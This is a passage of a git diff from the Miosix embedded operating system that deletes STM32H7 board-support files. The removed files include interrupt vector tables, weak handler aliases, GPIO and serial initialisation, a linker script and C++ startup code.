PVD_AVD_IRQHandler, - TAMP_STAMP_IRQHandler, - RTC_WKUP_IRQHandler, - FLASH_IRQHandler, - RCC_IRQHandler, - EXTI0_IRQHandler, - EXTI1_IRQHandler, - EXTI2_IRQHandler, - EXTI3_IRQHandler, - EXTI4_IRQHandler, - DMA1_Stream0_IRQHandler, - DMA1_Stream1_IRQHandler, - DMA1_Stream2_IRQHandler, - DMA1_Stream3_IRQHandler, - DMA1_Stream4_IRQHandler, - DMA1_Stream5_IRQHandler, - DMA1_Stream6_IRQHandler, - ADC_IRQHandler, - FDCAN1_IT0_IRQHandler, - FDCAN2_IT0_IRQHandler, - FDCAN1_IT1_IRQHandler, - FDCAN2_IT1_IRQHandler, - EXTI9_5_IRQHandler, - TIM1_BRK_IRQHandler, - TIM1_UP_IRQHandler, - TIM1_TRG_COM_IRQHandler, - TIM1_CC_IRQHandler, - TIM2_IRQHandler, - TIM3_IRQHandler, - TIM4_IRQHandler, - I2C1_EV_IRQHandler, - I2C1_ER_IRQHandler, - I2C2_EV_IRQHandler, - I2C2_ER_IRQHandler, - SPI1_IRQHandler, - SPI2_IRQHandler, - USART1_IRQHandler, - USART2_IRQHandler, - USART3_IRQHandler, - EXTI15_10_IRQHandler, - RTC_Alarm_IRQHandler, - 0, - TIM8_BRK_TIM12_IRQHandler, - TIM8_UP_TIM13_IRQHandler, - TIM8_TRG_COM_TIM14_IRQHandler, - TIM8_CC_IRQHandler, - DMA1_Stream7_IRQHandler, - FMC_IRQHandler, - SDMMC1_IRQHandler, - TIM5_IRQHandler, - SPI3_IRQHandler, - UART4_IRQHandler, - UART5_IRQHandler, - TIM6_DAC_IRQHandler, - TIM7_IRQHandler, - DMA2_Stream0_IRQHandler, - DMA2_Stream1_IRQHandler, - DMA2_Stream2_IRQHandler, - DMA2_Stream3_IRQHandler, - DMA2_Stream4_IRQHandler, - ETH_IRQHandler, - ETH_WKUP_IRQHandler, - FDCAN_CAL_IRQHandler, - 0, - 0, - 0, - 0, - DMA2_Stream5_IRQHandler, - DMA2_Stream6_IRQHandler, - DMA2_Stream7_IRQHandler, - USART6_IRQHandler, - I2C3_EV_IRQHandler, - I2C3_ER_IRQHandler, - OTG_HS_EP1_OUT_IRQHandler, - OTG_HS_EP1_IN_IRQHandler, - OTG_HS_WKUP_IRQHandler, - OTG_HS_IRQHandler, - DCMI_IRQHandler, - CRYP_IRQHandler, - HASH_RNG_IRQHandler, - FPU_IRQHandler, - UART7_IRQHandler, - UART8_IRQHandler, - SPI4_IRQHandler, - SPI5_IRQHandler, - SPI6_IRQHandler, - SAI1_IRQHandler, - LTDC_IRQHandler, - LTDC_ER_IRQHandler, - DMA2D_IRQHandler, - SAI2_IRQHandler, - QUADSPI_IRQHandler, - LPTIM1_IRQHandler, - CEC_IRQHandler, - I2C4_EV_IRQHandler, - I2C4_ER_IRQHandler, - SPDIF_RX_IRQHandler, - OTG_FS_EP1_OUT_IRQHandler, - OTG_FS_EP1_IN_IRQHandler, - OTG_FS_WKUP_IRQHandler, - OTG_FS_IRQHandler, - DMAMUX1_OVR_IRQHandler, - HRTIM1_Master_IRQHandler, - HRTIM1_TIMA_IRQHandler, - HRTIM1_TIMB_IRQHandler, - HRTIM1_TIMC_IRQHandler, - HRTIM1_TIMD_IRQHandler, - HRTIM1_TIME_IRQHandler, - HRTIM1_FLT_IRQHandler, - DFSDM1_FLT0_IRQHandler, - DFSDM1_FLT1_IRQHandler, - DFSDM1_FLT2_IRQHandler, - DFSDM1_FLT3_IRQHandler, - SAI3_IRQHandler, - SWPMI1_IRQHandler, - TIM15_IRQHandler, - TIM16_IRQHandler, - TIM17_IRQHandler, - MDIOS_WKUP_IRQHandler, - MDIOS_IRQHandler, - JPEG_IRQHandler, - MDMA_IRQHandler, - 0, - SDMMC2_IRQHandler, - HSEM1_IRQHandler, - 0, - ADC3_IRQHandler, - DMAMUX2_OVR_IRQHandler, - BDMA_Channel0_IRQHandler, - BDMA_Channel1_IRQHandler, - BDMA_Channel2_IRQHandler, - BDMA_Channel3_IRQHandler, - BDMA_Channel4_IRQHandler, - BDMA_Channel5_IRQHandler, - BDMA_Channel6_IRQHandler, - BDMA_Channel7_IRQHandler, - COMP1_IRQHandler, - LPTIM2_IRQHandler, - LPTIM3_IRQHandler, - LPTIM4_IRQHandler, - LPTIM5_IRQHandler, - LPUART1_IRQHandler, - 0, - CRS_IRQHandler, - 0, - SAI4_IRQHandler, - 0, - 0, - WAKEUP_PIN_IRQHandler, -}; - -#pragma weak SysTick_Handler = Default_Handler -#pragma weak WWDG_IRQHandler = Default_Handler -#pragma weak PVD_AVD_IRQHandler = Default_Handler -#pragma weak TAMP_STAMP_IRQHandler = Default_Handler -#pragma weak RTC_WKUP_IRQHandler = Default_Handler -#pragma weak FLASH_IRQHandler = Default_Handler -#pragma weak RCC_IRQHandler = Default_Handler -#pragma weak EXTI0_IRQHandler = Default_Handler -#pragma weak EXTI1_IRQHandler = Default_Handler -#pragma weak EXTI2_IRQHandler = Default_Handler -#pragma weak EXTI3_IRQHandler = Default_Handler -#pragma weak EXTI4_IRQHandler = Default_Handler -#pragma weak DMA1_Stream0_IRQHandler = Default_Handler -#pragma weak DMA1_Stream1_IRQHandler = Default_Handler -#pragma weak DMA1_Stream2_IRQHandler = Default_Handler -#pragma weak DMA1_Stream3_IRQHandler = Default_Handler -#pragma weak DMA1_Stream4_IRQHandler = Default_Handler -#pragma weak DMA1_Stream5_IRQHandler = Default_Handler -#pragma weak DMA1_Stream6_IRQHandler = Default_Handler -#pragma weak ADC_IRQHandler = Default_Handler -#pragma weak FDCAN1_IT0_IRQHandler = Default_Handler -#pragma weak FDCAN2_IT0_IRQHandler = Default_Handler -#pragma weak FDCAN1_IT1_IRQHandler = Default_Handler -#pragma weak FDCAN2_IT1_IRQHandler = Default_Handler -#pragma weak EXTI9_5_IRQHandler = Default_Handler -#pragma weak TIM1_BRK_IRQHandler = Default_Handler -#pragma weak TIM1_UP_IRQHandler = Default_Handler -#pragma weak TIM1_TRG_COM_IRQHandler = Default_Handler -#pragma weak TIM1_CC_IRQHandler = Default_Handler -#pragma weak TIM2_IRQHandler = Default_Handler -#pragma weak TIM3_IRQHandler = Default_Handler -#pragma weak TIM4_IRQHandler = Default_Handler -#pragma weak I2C1_EV_IRQHandler = Default_Handler -#pragma weak I2C1_ER_IRQHandler = Default_Handler -#pragma weak I2C2_EV_IRQHandler = Default_Handler -#pragma weak I2C2_ER_IRQHandler = Default_Handler -#pragma weak SPI1_IRQHandler = Default_Handler -#pragma weak SPI2_IRQHandler = Default_Handler -#pragma weak USART1_IRQHandler = Default_Handler -#pragma weak USART2_IRQHandler = Default_Handler -#pragma weak USART3_IRQHandler = Default_Handler -#pragma weak EXTI15_10_IRQHandler = Default_Handler -#pragma weak RTC_Alarm_IRQHandler = Default_Handler -#pragma weak TIM8_BRK_TIM12_IRQHandler = Default_Handler -#pragma weak TIM8_UP_TIM13_IRQHandler = Default_Handler -#pragma weak TIM8_TRG_COM_TIM14_IRQHandler = Default_Handler -#pragma weak TIM8_CC_IRQHandler = Default_Handler -#pragma weak DMA1_Stream7_IRQHandler = Default_Handler -#pragma weak FMC_IRQHandler = Default_Handler -#pragma weak SDMMC1_IRQHandler = Default_Handler -#pragma weak TIM5_IRQHandler = Default_Handler -#pragma weak SPI3_IRQHandler = Default_Handler -#pragma weak UART4_IRQHandler = Default_Handler -#pragma weak UART5_IRQHandler = Default_Handler -#pragma weak TIM6_DAC_IRQHandler = Default_Handler -#pragma weak TIM7_IRQHandler = Default_Handler -#pragma weak DMA2_Stream0_IRQHandler = Default_Handler -#pragma weak DMA2_Stream1_IRQHandler = Default_Handler -#pragma weak DMA2_Stream2_IRQHandler = Default_Handler -#pragma weak DMA2_Stream3_IRQHandler = Default_Handler -#pragma weak DMA2_Stream4_IRQHandler = Default_Handler -#pragma weak ETH_IRQHandler = Default_Handler -#pragma weak ETH_WKUP_IRQHandler = Default_Handler -#pragma weak FDCAN_CAL_IRQHandler = Default_Handler -#pragma weak DMA2_Stream5_IRQHandler = Default_Handler -#pragma weak DMA2_Stream6_IRQHandler = Default_Handler -#pragma weak DMA2_Stream7_IRQHandler = Default_Handler -#pragma weak USART6_IRQHandler = Default_Handler -#pragma weak I2C3_EV_IRQHandler = Default_Handler -#pragma weak I2C3_ER_IRQHandler = Default_Handler -#pragma weak OTG_HS_EP1_OUT_IRQHandler = Default_Handler -#pragma weak OTG_HS_EP1_IN_IRQHandler = Default_Handler -#pragma weak OTG_HS_WKUP_IRQHandler = Default_Handler -#pragma weak OTG_HS_IRQHandler = Default_Handler -#pragma weak DCMI_IRQHandler = Default_Handler -#pragma weak CRYP_IRQHandler = Default_Handler -#pragma weak HASH_RNG_IRQHandler = Default_Handler -#pragma weak FPU_IRQHandler = Default_Handler -#pragma weak UART7_IRQHandler = Default_Handler -#pragma weak UART8_IRQHandler = Default_Handler -#pragma weak SPI4_IRQHandler = Default_Handler -#pragma weak SPI5_IRQHandler = Default_Handler -#pragma weak SPI6_IRQHandler = Default_Handler -#pragma weak SAI1_IRQHandler = Default_Handler -#pragma weak LTDC_IRQHandler = Default_Handler -#pragma weak LTDC_ER_IRQHandler = Default_Handler -#pragma weak DMA2D_IRQHandler = Default_Handler -#pragma weak SAI2_IRQHandler = Default_Handler -#pragma weak QUADSPI_IRQHandler = Default_Handler -#pragma weak LPTIM1_IRQHandler = Default_Handler -#pragma weak CEC_IRQHandler = Default_Handler -#pragma weak I2C4_EV_IRQHandler = Default_Handler -#pragma weak I2C4_ER_IRQHandler = Default_Handler -#pragma weak SPDIF_RX_IRQHandler = Default_Handler -#pragma weak OTG_FS_EP1_OUT_IRQHandler = Default_Handler -#pragma weak OTG_FS_EP1_IN_IRQHandler = Default_Handler -#pragma weak OTG_FS_WKUP_IRQHandler = Default_Handler -#pragma weak OTG_FS_IRQHandler = Default_Handler -#pragma weak DMAMUX1_OVR_IRQHandler = Default_Handler -#pragma weak HRTIM1_Master_IRQHandler = Default_Handler -#pragma weak HRTIM1_TIMA_IRQHandler = Default_Handler -#pragma weak HRTIM1_TIMB_IRQHandler = Default_Handler -#pragma weak HRTIM1_TIMC_IRQHandler = Default_Handler -#pragma weak HRTIM1_TIMD_IRQHandler = Default_Handler -#pragma weak HRTIM1_TIME_IRQHandler = Default_Handler -#pragma weak HRTIM1_FLT_IRQHandler = Default_Handler -#pragma weak DFSDM1_FLT0_IRQHandler = Default_Handler -#pragma weak DFSDM1_FLT1_IRQHandler = Default_Handler -#pragma weak DFSDM1_FLT2_IRQHandler = Default_Handler -#pragma weak DFSDM1_FLT3_IRQHandler = Default_Handler -#pragma weak SAI3_IRQHandler = Default_Handler -#pragma weak SWPMI1_IRQHandler = Default_Handler -#pragma weak TIM15_IRQHandler = Default_Handler -#pragma weak TIM16_IRQHandler = Default_Handler -#pragma weak TIM17_IRQHandler = Default_Handler -#pragma weak MDIOS_WKUP_IRQHandler = Default_Handler -#pragma weak MDIOS_IRQHandler = Default_Handler -#pragma weak JPEG_IRQHandler = Default_Handler -#pragma weak MDMA_IRQHandler = Default_Handler -#pragma weak SDMMC2_IRQHandler = Default_Handler -#pragma weak HSEM1_IRQHandler = Default_Handler -#pragma weak ADC3_IRQHandler = Default_Handler -#pragma weak DMAMUX2_OVR_IRQHandler = Default_Handler -#pragma weak BDMA_Channel0_IRQHandler = Default_Handler -#pragma weak BDMA_Channel1_IRQHandler = Default_Handler -#pragma weak BDMA_Channel2_IRQHandler = Default_Handler -#pragma weak BDMA_Channel3_IRQHandler = Default_Handler -#pragma weak BDMA_Channel4_IRQHandler = Default_Handler -#pragma weak BDMA_Channel5_IRQHandler = Default_Handler -#pragma weak BDMA_Channel6_IRQHandler = Default_Handler -#pragma weak BDMA_Channel7_IRQHandler = Default_Handler -#pragma weak COMP1_IRQHandler = Default_Handler -#pragma weak LPTIM2_IRQHandler = Default_Handler -#pragma weak LPTIM3_IRQHandler = Default_Handler -#pragma weak LPTIM4_IRQHandler = Default_Handler -#pragma weak LPTIM5_IRQHandler = Default_Handler -#pragma weak LPUART1_IRQHandler = Default_Handler -#pragma weak CRS_IRQHandler = Default_Handler -#pragma weak SAI4_IRQHandler = Default_Handler -#pragma weak WAKEUP_PIN_IRQHandler = Default_Handler diff --git a/miosix/arch/cortexM7_stm32h7/stm32h753xi_eval/interfaces-impl/arch_registers_impl.h b/miosix/arch/cortexM7_stm32h7/stm32h753xi_eval/interfaces-impl/arch_registers_impl.h deleted file mode 100644 index 326c23e43..000000000 --- a/miosix/arch/cortexM7_stm32h7/stm32h753xi_eval/interfaces-impl/arch_registers_impl.h +++ /dev/null @@ -1,18 +0,0 @@ - -#ifndef ARCH_REGISTERS_IMPL_H -#define ARCH_REGISTERS_IMPL_H - -//stm32h7xx.h defines a few macros like __ICACHE_PRESENT, __DCACHE_PRESENT and -//includes core_cm7.h. Do not include core_cm7.h before. -#define STM32H753xx -#include "CMSIS/Device/ST/STM32H7xx/Include/stm32h7xx.h" - -#if (__ICACHE_PRESENT != 1) || (__DCACHE_PRESENT != 1) -#error "Wrong include order" -#endif - -#include "CMSIS/Device/ST/STM32H7xx/Include/system_stm32h7xx.h" - -#define RCC_SYNC() __DSB() - -#endif //ARCH_REGISTERS_IMPL_H diff --git a/miosix/arch/cortexM7_stm32h7/stm32h753xi_eval/interfaces-impl/bsp.cpp b/miosix/arch/cortexM7_stm32h7/stm32h753xi_eval/interfaces-impl/bsp.cpp deleted file mode 100644 index 5217db4cf..000000000 --- a/miosix/arch/cortexM7_stm32h7/stm32h753xi_eval/interfaces-impl/bsp.cpp +++ /dev/null @@ -1,123 +0,0 @@ -/*************************************************************************** - * Copyright (C) 2018 by Terraneo Federico * - * * - * This program is free software; you can redistribute it and/or modify * - * it under the terms of the GNU General Public License as published by * - * the Free Software Foundation; either version 2 of the License, or * - * (at your option) any later version. * - * * - * This program is distributed in the hope that it will be useful, * - * but WITHOUT ANY WARRANTY; without even the implied warranty of * - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * - * GNU General Public License for more details. * - * * - * As a special exception, if other files instantiate templates or use * - * macros or inline functions from this file, or you compile this file * - * and link it with other works to produce a work based on this file, * - * this file does not by itself cause the resulting work to be covered * - * by the GNU General Public License. However the source code for this * - * file must still be made available in accordance with the GNU General * - * Public License. This exception does not invalidate any other reasons * - * why a work based on this file might be covered by the GNU General * - * Public License. * - * * - * You should have received a copy of the GNU General Public License * - * along with this program; if not, see * - ***************************************************************************/ - -/*********************************************************************** -* bsp.cpp Part of the Miosix Embedded OS. -* Board support package, this file initializes hardware. -************************************************************************/ - -#include -#include -#include -#include "interfaces/bsp.h" -#include "kernel/kernel.h" -#include "kernel/sync.h" -#include "interfaces/delays.h" -#include "interfaces/portability.h" -#include "interfaces/arch_registers.h" -#include "config/miosix_settings.h" -#include "kernel/logging.h" -#include "filesystem/file_access.h" -#include "filesystem/console/console_device.h" -#include "drivers/serial.h" -#include "drivers/sd_stm32f2_f4_f7.h" -#include "board_settings.h" - -namespace miosix { - -// -// Initialization -// - -void IRQbspInit() -{ - //Enable all gpios - RCC->AHB4ENR |= RCC_AHB4ENR_GPIOAEN | RCC_AHB4ENR_GPIOBEN | - RCC_AHB4ENR_GPIOCEN | RCC_AHB4ENR_GPIODEN | - RCC_AHB4ENR_GPIOEEN | RCC_AHB4ENR_GPIOFEN | - RCC_AHB4ENR_GPIOGEN | RCC_AHB4ENR_GPIOHEN | - RCC_AHB4ENR_GPIOIEN | RCC_AHB4ENR_GPIOJEN | - RCC_AHB4ENR_GPIOKEN; - RCC_SYNC(); - GPIOA->OSPEEDR=0xaaaaaaaa; //Default to 50MHz speed for all GPIOS - GPIOB->OSPEEDR=0xaaaaaaaa; - GPIOC->OSPEEDR=0xaaaaaaaa; - GPIOD->OSPEEDR=0xaaaaaaaa; - GPIOE->OSPEEDR=0xaaaaaaaa; - GPIOF->OSPEEDR=0xaaaaaaaa; - GPIOG->OSPEEDR=0xaaaaaaaa; - GPIOH->OSPEEDR=0xaaaaaaaa; - GPIOI->OSPEEDR=0xaaaaaaaa; - GPIOJ->OSPEEDR=0xaaaaaaaa; - GPIOK->OSPEEDR=0xaaaaaaaa; - _led::mode(Mode::OUTPUT); - ledOn(); - delayMs(100); - ledOff(); - auto tx=Gpio::getPin(); tx.alternateFunction(4); - auto rx=Gpio::getPin(); rx.alternateFunction(4); - DefaultConsole::instance().IRQset(intrusive_ref_ptr( - new STM32Serial(1,defaultSerialSpeed,tx,rx))); -} - -void bspInit2() -{ - #ifdef WITH_FILESYSTEM - //FIXME -// basicFilesystemSetup(SDIODriver::instance()); - #endif //WITH_FILESYSTEM -} - -// -// Shutdown and reboot -// - -void shutdown() -{ - ioctl(STDOUT_FILENO,IOCTL_SYNC,0); - - #ifdef WITH_FILESYSTEM - FilesystemManager::instance().umountAll(); - #endif //WITH_FILESYSTEM - - disableInterrupts(); - for(;;) ; -} - -void reboot() -{ - ioctl(STDOUT_FILENO,IOCTL_SYNC,0); - - #ifdef WITH_FILESYSTEM - FilesystemManager::instance().umountAll(); - #endif //WITH_FILESYSTEM - - disableInterrupts(); - miosix_private::IRQsystemReboot(); -} - -} //namespace miosix diff --git a/miosix/arch/cortexM7_stm32h7/stm32h753xi_eval/interfaces-impl/bsp_impl.h b/miosix/arch/cortexM7_stm32h7/stm32h753xi_eval/interfaces-impl/bsp_impl.h deleted file mode 100644 index 20874560f..000000000 --- a/miosix/arch/cortexM7_stm32h7/stm32h753xi_eval/interfaces-impl/bsp_impl.h +++ /dev/null @@ -1,81 +0,0 @@ -/*************************************************************************** - * Copyright (C) 2018 by Terraneo Federico * - * * - * This program is free software; you can redistribute it and/or modify * - * it under the terms of the GNU General Public License as published by * - * the Free Software Foundation; either version 2 of the License, or * - * (at your option) any later version. * - * * - * This program is distributed in the hope that it will be useful, * - * but WITHOUT ANY WARRANTY; without even the implied warranty of * - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * - * GNU General Public License for more details. * - * * - * As a special exception, if other files instantiate templates or use * - * macros or inline functions from this file, or you compile this file * - * and link it with other works to produce a work based on this file, * - * this file does not by itself cause the resulting work to be covered * - * by the GNU General Public License. However the source code for this * - * file must still be made available in accordance with the GNU General * - * Public License. This exception does not invalidate any other reasons * - * why a work based on this file might be covered by the GNU General * - * Public License. * - * * - * You should have received a copy of the GNU General Public License * - * along with this program; if not, see * - ***************************************************************************/ - -/*********************************************************************** -* bsp_impl.h Part of the Miosix Embedded OS. -* Board support package, this file initializes hardware. -************************************************************************/ - -#ifndef BSP_IMPL_H -#define BSP_IMPL_H - -#include "config/miosix_settings.h" -#include "interfaces/gpio.h" - -namespace miosix { - -/** -\addtogroup Hardware -\{ -*/ - -/** - * \internal - * used by the ledOn() and ledOff() implementation - */ -typedef Gpio _led; - -inline void ledOn() -{ - //Led is connected to VCC, so to turn it on the GPIO has to be low - _led::low(); -} - -inline void ledOff() -{ - _led::high(); -} - -/** - * Polls the SD card sense GPIO. - * - * This board has no SD card whatsoever, but a card can be connected to the - * following GPIOs: - * TODO: never tested - * - * \return true. As there's no SD card sense switch, let's pretend that - * the card is present. - */ -inline bool sdCardSense() { return true; } - -/** -\} -*/ - -} //namespace miosix - -#endif //BSP_IMPL_H diff --git a/miosix/arch/cortexM7_stm32h7/stm32h753xi_eval/stm32_2m+512k_rom.ld b/miosix/arch/cortexM7_stm32h7/stm32h753xi_eval/stm32_2m+512k_rom.ld deleted file mode 100644 index 47cf466f1..000000000 --- a/miosix/arch/cortexM7_stm32h7/stm32h753xi_eval/stm32_2m+512k_rom.ld +++ /dev/null @@ -1,167 +0,0 @@ -/* - * C++ enabled linker script for stm32 (2M FLASH, 512K RAM) - * Developed by TFT: Terraneo Federico Technologies - * Optimized for use with the Miosix kernel - */ - -/* - * This linker script puts: - * - read only data and code (.text, .rodata, .eh_*) in flash - * - stacks, heap and sections .data and .bss in the internal ram - * - the external ram (if available) is not used. - */ - -/* - * The main stack is used for interrupt handling by the kernel. - * - * *** Readme *** - * This linker script places the main stack (used by the kernel for interrupts) - * at the bottom of the ram, instead of the top. This is done for two reasons: - * - * - as an optimization for microcontrollers with little ram memory. In fact - * the implementation of malloc from newlib requests memory to the OS in 4KB - * block (except the first block that can be smaller). This is probably done - * for compatibility with OSes with an MMU and paged memory. To see why this - * is bad, consider a microcontroller with 8KB of ram: when malloc finishes - * up the first 4KB it will call _sbrk_r asking for a 4KB block, but this will - * fail because the top part of the ram is used by the main stack. As a - * result, the top part of the memory will not be used by malloc, even if - * available (and it is nearly *half* the ram on an 8KB mcu). By placing the - * main stack at the bottom of the ram, the upper 4KB block will be entirely - * free and available as heap space. - * - * - In case of main stack overflow the cpu will fault because access to memory - * before the beginning of the ram faults. Instead with the default stack - * placement the main stack will silently collide with the heap. - * Note: if increasing the main stack size also increase the ORIGIN value in - * the MEMORY definitions below accordingly. - */ -_main_stack_size = 0x00000200; /* main stack = 512Bytes */ -_main_stack_top = 0x24000000 + _main_stack_size; -ASSERT(_main_stack_size % 8 == 0, "MAIN stack size error"); - -/* end of the heap */ -_heap_end = 0x24080000; /* end of available ram */ - -/* identify the Entry Point */ -ENTRY(_Z13Reset_Handlerv) - -/* specify the memory areas */ -MEMORY -{ - flash(rx) : ORIGIN = 0x08000000, LENGTH = 2M - - /* NOTE: for now wer support only the AXI SRAM */ - ram(wx) : ORIGIN = 0x24000200, LENGTH = 512K-0x200 -} - -/* now define the output sections */ -SECTIONS -{ - . = 0; - - /* .text section: code goes to flash */ - .text : - { - /* Startup code must go at address 0 */ - KEEP(*(.isr_vector)) - - *(.text) - *(.text.*) - *(.gnu.linkonce.t.*) - /* these sections for thumb interwork? */ - *(.glue_7) - *(.glue_7t) - /* these sections for C++? */ - *(.gcc_except_table) - *(.gcc_except_table.*) - *(.ARM.extab*) - *(.gnu.linkonce.armextab.*) - - . = ALIGN(4); - /* .rodata: constant data */ - *(.rodata) - *(.rodata.*) - *(.gnu.linkonce.r.*) - - /* C++ Static constructors/destructors (eabi) */ - . = ALIGN(4); - KEEP(*(.init)) - - . = ALIGN(4); - __miosix_init_array_start = .; - KEEP (*(SORT(.miosix_init_array.*))) - KEEP (*(.miosix_init_array)) - __miosix_init_array_end = .; - - . = ALIGN(4); - __preinit_array_start = .; - KEEP (*(.preinit_array)) - __preinit_array_end = .; - - . = ALIGN(4); - __init_array_start = .; - KEEP (*(SORT(.init_array.*))) - KEEP (*(.init_array)) - __init_array_end = .; - - . = ALIGN(4); - KEEP(*(.fini)) - - . = ALIGN(4); - __fini_array_start = .; - KEEP (*(.fini_array)) - KEEP (*(SORT(.fini_array.*))) - __fini_array_end = .; - - /* C++ Static constructors/destructors (elf) */ - . = ALIGN(4); - _ctor_start = .; - KEEP (*crtbegin.o(.ctors)) - KEEP (*(EXCLUDE_FILE (*crtend.o) .ctors)) - KEEP (*(SORT(.ctors.*))) - KEEP (*crtend.o(.ctors)) - _ctor_end = .; - - . = ALIGN(4); - KEEP (*crtbegin.o(.dtors)) - KEEP (*(EXCLUDE_FILE (*crtend.o) .dtors)) - KEEP (*(SORT(.dtors.*))) - KEEP (*crtend.o(.dtors)) - } > flash - - /* .ARM.exidx is sorted, so has to go in its own output section. */ - __exidx_start = .; - .ARM.exidx : - { - *(.ARM.exidx* .gnu.linkonce.armexidx.*) - } > flash - __exidx_end = .; - - /* .data section: global variables go to ram, but also store a copy to - flash to initialize them */ - .data : ALIGN(8) - { - _data = .; - *(.data) - *(.data.*) - *(.gnu.linkonce.d.*) - . = ALIGN(8); - _edata = .; - } > ram AT > flash - _etext = LOADADDR(.data); - - /* .bss section: uninitialized global variables go to ram */ - _bss_start = .; - .bss : - { - *(.bss) - *(.bss.*) - *(.gnu.linkonce.b.*) - . = ALIGN(8); - } > ram - _bss_end = .; - - _end = .; - PROVIDE(end = .); -} diff --git a/miosix/arch/cortexM7_stm32h7/stm32h755zi_nucleo/core/stage_1_boot.cpp b/miosix/arch/cortexM7_stm32h7/stm32h755zi_nucleo/core/stage_1_boot.cpp deleted file mode 100644 index a6ad81708..000000000 --- a/miosix/arch/cortexM7_stm32h7/stm32h755zi_nucleo/core/stage_1_boot.cpp +++ /dev/null @@ -1,579 +0,0 @@ - -#include "interfaces/arch_registers.h" -#include "core/interrupts.h" //For the unexpected interrupt call -#include "core/cache_cortexMx.h" -#include "drivers/pll.h" -#include "kernel/stage_2_boot.h" -#include - -/* - * startup.cpp - * STM32 C++ startup. - * NOTE: for stm32h755 devices ONLY. - * Supports interrupt handlers in C++ without extern "C" - * Developed by Terraneo Federico, based on ST startup code. - * Additionally modified to boot Miosix. - */ - -/** - * Called by Reset_Handler, performs initialization and calls main. - * Never returns. - */ -void program_startup() __attribute__((noreturn)); -void program_startup() -{ - //Cortex M7 core appears to get out of reset with interrupts already enabled - __disable_irq(); - - //SystemInit() is called *before* initializing .data and zeroing .bss - //Despite all startup files provided by ST do the opposite, there are three - //good reasons to do so: - //First, the CMSIS specifications say that SystemInit() must not access - //global variables, so it is actually possible to call it before - //Second, when running Miosix with the xram linker scripts .data and .bss - //are placed in the external RAM, so we *must* call SystemInit(), which - //enables xram, before touching .data and .bss - //Third, this is a performance improvement since the loops that initialize - //.data and zeros .bss now run with the CPU at full speed instead of 8MHz - SystemInit(); - startPll(); - - miosix::IRQconfigureCache(); - - //These are defined in the linker script - extern unsigned char _etext asm("_etext"); - extern unsigned char _data asm("_data"); - extern unsigned char _edata asm("_edata"); - extern unsigned char _bss_start asm("_bss_start"); - extern unsigned char _bss_end asm("_bss_end"); - - //Initialize .data section, clear .bss section - unsigned char *etext=&_etext; - unsigned char *data=&_data; - unsigned char *edata=&_edata; - unsigned char *bss_start=&_bss_start; - unsigned char *bss_end=&_bss_end; - memcpy(data, etext, edata-data); - memset(bss_start, 0, bss_end-bss_start); - - //Move on to stage 2 - _init(); - - //If main returns, reboot - NVIC_SystemReset(); - for(;;) ; -} - -/** - * Reset handler, called by hardware immediately after reset - */ -void Reset_Handler() __attribute__((__interrupt__, noreturn)); -void Reset_Handler() -{ - /* - * Initialize process stack and switch to it. - * This is required for booting Miosix, a small portion of the top of the - * heap area will be used as stack until the first thread starts. After, - * this stack will be abandoned and the process stack will point to the - * current thread's stack. - */ - asm volatile("ldr r0, =_heap_end \n\t" - "msr psp, r0 \n\t" - "movw r0, #2 \n\n" //Privileged, process stack - "msr control, r0 \n\t" - "isb \n\t":::"r0"); - - program_startup(); -} - -/** - * All unused interrupts call this function. - */ -extern "C" void Default_Handler() -{ - unexpectedInterrupt(); -} - -//System handlers -void /*__attribute__((weak))*/ Reset_Handler(); //These interrupts are not -void /*__attribute__((weak))*/ NMI_Handler(); //weak because they are -void /*__attribute__((weak))*/ HardFault_Handler(); //surely defined by Miosix -void /*__attribute__((weak))*/ MemManage_Handler(); -void /*__attribute__((weak))*/ BusFault_Handler(); -void /*__attribute__((weak))*/ UsageFault_Handler(); -void /*__attribute__((weak))*/ SVC_Handler(); -void /*__attribute__((weak))*/ DebugMon_Handler(); -void /*__attribute__((weak))*/ PendSV_Handler(); -void /*__attribute__((weak))*/ SysTick_Handler(); - -//Interrupt handlers -void __attribute__((weak)) WWDG_IRQHandler(); -void __attribute__((weak)) PVD_AVD_IRQHandler(); -void __attribute__((weak)) TAMP_STAMP_IRQHandler(); -void __attribute__((weak)) RTC_WKUP_IRQHandler(); -void __attribute__((weak)) FLASH_IRQHandler(); -void __attribute__((weak)) RCC_IRQHandler(); -void __attribute__((weak)) EXTI0_IRQHandler(); -void __attribute__((weak)) EXTI1_IRQHandler(); -void __attribute__((weak)) EXTI2_IRQHandler(); -void __attribute__((weak)) EXTI3_IRQHandler(); -void __attribute__((weak)) EXTI4_IRQHandler(); -void __attribute__((weak)) DMA1_Stream0_IRQHandler(); -void __attribute__((weak)) DMA1_Stream1_IRQHandler(); -void __attribute__((weak)) DMA1_Stream2_IRQHandler(); -void __attribute__((weak)) DMA1_Stream3_IRQHandler(); -void __attribute__((weak)) DMA1_Stream4_IRQHandler(); -void __attribute__((weak)) DMA1_Stream5_IRQHandler(); -void __attribute__((weak)) DMA1_Stream6_IRQHandler(); -void __attribute__((weak)) ADC_IRQHandler(); -void __attribute__((weak)) FDCAN1_IT0_IRQHandler(); -void __attribute__((weak)) FDCAN2_IT0_IRQHandler(); -void __attribute__((weak)) FDCAN1_IT1_IRQHandler(); -void __attribute__((weak)) FDCAN2_IT1_IRQHandler(); -void __attribute__((weak)) EXTI9_5_IRQHandler(); -void __attribute__((weak)) TIM1_BRK_IRQHandler(); -void __attribute__((weak)) TIM1_UP_IRQHandler(); -void __attribute__((weak)) TIM1_TRG_COM_IRQHandler(); -void __attribute__((weak)) TIM1_CC_IRQHandler(); -void __attribute__((weak)) TIM2_IRQHandler(); -void __attribute__((weak)) TIM3_IRQHandler(); -void __attribute__((weak)) TIM4_IRQHandler(); -void __attribute__((weak)) I2C1_EV_IRQHandler(); -void __attribute__((weak)) I2C1_ER_IRQHandler(); -void __attribute__((weak)) I2C2_EV_IRQHandler(); -void __attribute__((weak)) I2C2_ER_IRQHandler(); -void __attribute__((weak)) SPI1_IRQHandler(); -void __attribute__((weak)) SPI2_IRQHandler(); -void __attribute__((weak)) USART1_IRQHandler(); -void __attribute__((weak)) USART2_IRQHandler(); -void __attribute__((weak)) USART3_IRQHandler(); -void __attribute__((weak)) EXTI15_10_IRQHandler(); -void __attribute__((weak)) RTC_Alarm_IRQHandler(); -void __attribute__((weak)) TIM8_BRK_TIM12_IRQHandler(); -void __attribute__((weak)) TIM8_UP_TIM13_IRQHandler(); -void __attribute__((weak)) TIM8_TRG_COM_TIM14_IRQHandler(); -void __attribute__((weak)) 